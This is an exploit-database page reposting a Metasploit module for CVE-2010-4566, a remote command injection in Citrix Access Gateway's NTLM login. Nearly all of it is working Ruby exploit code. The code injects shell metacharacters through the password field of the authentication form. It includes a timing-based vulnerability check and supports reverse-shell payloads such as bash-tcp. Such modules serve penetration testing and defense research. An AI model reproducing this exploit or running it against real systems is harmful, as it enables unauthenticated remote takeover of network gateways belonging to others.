Citrix Access Gateway Command Execution

2011.03.07
Credit: metasploit
Risk: High
Local: No
Remote: Yes
CWE: CWE-noinfo


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # $Id: citrix_access_gateway_exec.rb 11873 2011-03-03 20:51:12Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Citrix Access Gateway Command Execution', 'Description' => %q{ The Citrix Access Gateway provides support for multiple authentication types. When utilizing the external legacy NTLM authentication module known as ntlm_authenticator the Access Gateway spawns the Samba 'samedit' command line utility to verify a user's identity and password. By embedding shell metacharacters in the web authentication form it is possible to execute arbitrary commands on the Access Gateway. }, 'Author' => [ 'George D. Gal', # Original advisory 'Erwin Paternotte', # Exploit module ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11873 $', 'References' => [ [ 'CVE', '2010-4566' ], [ 'OSVDB', '70099' ], [ 'BID', '45402' ], [ 'URL', 'http://www.vsecurity.com/resources/advisory/20101221-1/' ] ], 'Privileged' => false, 'Payload' => { 'Space' => 127, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'generic telnet bash-tcp' } }, 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Dec 21 2010', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [ true, 'Use SSL', true ]), ], self.class) end def post(command, background) username = rand_text_alphanumeric(20) if background sploit = Rex::Text.uri_encode('|' + command + '&') else sploit = Rex::Text.uri_encode('|' + command) end data = "SESSION_TOKEN=1208473755272-1381414381&LoginType=Explicit&username=" data << username data << "&password=" data << sploit res = send_request_cgi({ 'uri' => '/', 'method' => 'POST', 'data' => data }, 25) end def check print_status("Attempting to detect if the Citrix Access Gateway is vulnerable...") # Try running/timing 'ping localhost' to determine is system is vulnerable start = Time.now post("ping -c 10 127.0.0.1", false) elapsed = Time.now - start if elapsed >= 3 return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit cmd = payload.encoded if not post(cmd, true) raise RuntimeError, "Unable to execute the desired command" end end end

References:

http://www.securitytracker.com/id?1024893
http://support.citrix.com/article/CTX127613


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